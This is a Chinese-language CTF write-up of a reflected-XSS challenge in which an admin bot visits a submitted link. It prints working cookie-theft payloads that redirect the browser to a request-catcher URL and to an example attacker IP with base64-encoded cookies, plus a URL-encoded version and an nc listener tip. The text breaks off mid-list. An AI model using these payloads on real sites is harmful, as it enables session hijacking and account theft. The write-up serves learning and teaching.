一、打开环境,两个输入框。

第一个框输入什么就回显什么,第二个框需要的URL里面必须带有当前IP地址。回显admin bot has visited your url。
这种大概率就是盗取admin的cookie。
二、尝试在上面输入<script>alert(1)</script>,果然弹出1。考察XSS无疑。
三、这里我没有公网的vps,用平台接收请求。这里我用的requestBin。
四、第一个框输入<script>window.location='https://eou7zk5hd9tnqmm.m.pipedream.net'</script>
平台能接收请求。但是此时没有cookie。

五、第二个框输入下面的链接,发现收不到请求。
html
http://49.232.142.230:16364/zombie?show=<script>window.location='https://eou7zk5hd9tnqmm.m.pipedream.net?cookie='+btoa(JSON.stringify(document.cookie));</script>
这里需要urlencode即
html
http://49.232.142.230:16364/zombie?show=%3Cscript%3Ewindow.location%3D%27https%3A%2F%2Feou7zk5hd9tnqmm.m.pipedream.net%3Fcookie%3D%27%2Bbtoa(JSON.stringify(document.cookie))%3B%3C%2Fscript%3E
平台正确接收并带有cookie,解码cookie,得到flag。因为下面这个输入框的角色是admin。

六、如果有公网vpc的话,直接nc反弹监听,将上述URL的域名改为公网的IP:PORT就行

七、关于这个脚本解释
html
a<script>window.location='http://1.1.1.1:9999/?cookie='+btoa(JSON.stringify(document.cookie));</script>
1. window.location = '目标地址'
JS 核心跳转方法:强制让当前受害者的浏览器页面跳转到指定地址,一旦执行,页面会立刻跳转,无任何提示。
2. 攻击者服务器地址 http://1.1.1.1:9999/?cookie=
关键信息:1.1.1.1 是攻击者的恶意服务器 IP 地址 ,作用:这个地址是攻击者准备好的「Cookie 接收地址 」,?cookie= 是用来拼接窃取到的 Cookie 数据的 URL 参数。
3. document.cookie
XSS 盗取 Cookie 的核心核心 !这是 JS 内置对象,作用是:读取当前浏览器中,登录该网站的所有 Cookie 数据(包含登录会话凭证、用户标识等)。
注意:如果目标网站的 Cookie 加了
HttpOnly标记,这行代码就读取不到这个 Cookie,也是防御这类攻击的关键。
4. JSON.stringify(document.cookie)
对读取到的 Cookie 字符串做JSON 格式化处理,作用是:
- 统一数据格式,避免 Cookie 里的特殊字符(比如
;、=、空格)导致拼接 URL 时出错; - 让攻击者拿到的 Cookie 数据更规整,便于解析。
5. btoa(...)
JS 的Base64 加密函数 ,全称 window.btoa(),作用是:将传入的字符串进行 Base64 编码后输出 ,这是攻击者的「加密伪装手段 」,核心目的 2 个:规避网站的「敏感字符检测」:很多网站会拦截 URL 中包含cookie=+ 明文 Cookie 的请求,Base64 编码后变成一串无意义的字母数字,绕过检测; 防止数据传输过程中被篡改 / 识别:编码后的数据在网络传输中更隐蔽,攻击者拿到后再用 atob() 解码即可还原原始 Cookie。
八、完整流程
1.浏览器解析页面,遇到<script>标签,执行内部 JS 代码;
2.通过 document.cookie 读取受害者当前网站的全部 Cookie;
3.对 Cookie 做 JSON 格式化 → Base64 加密,完成「伪装处理」;
4.通过 window.location 强制跳转,把加密后的 Cookie 拼接在 URL 参数里,发送到攻击者的服务器
5.攻击者的服务器接收到这个跳转请求,从 URL 参数中提取出 cookie= 后面的 Base64 密文;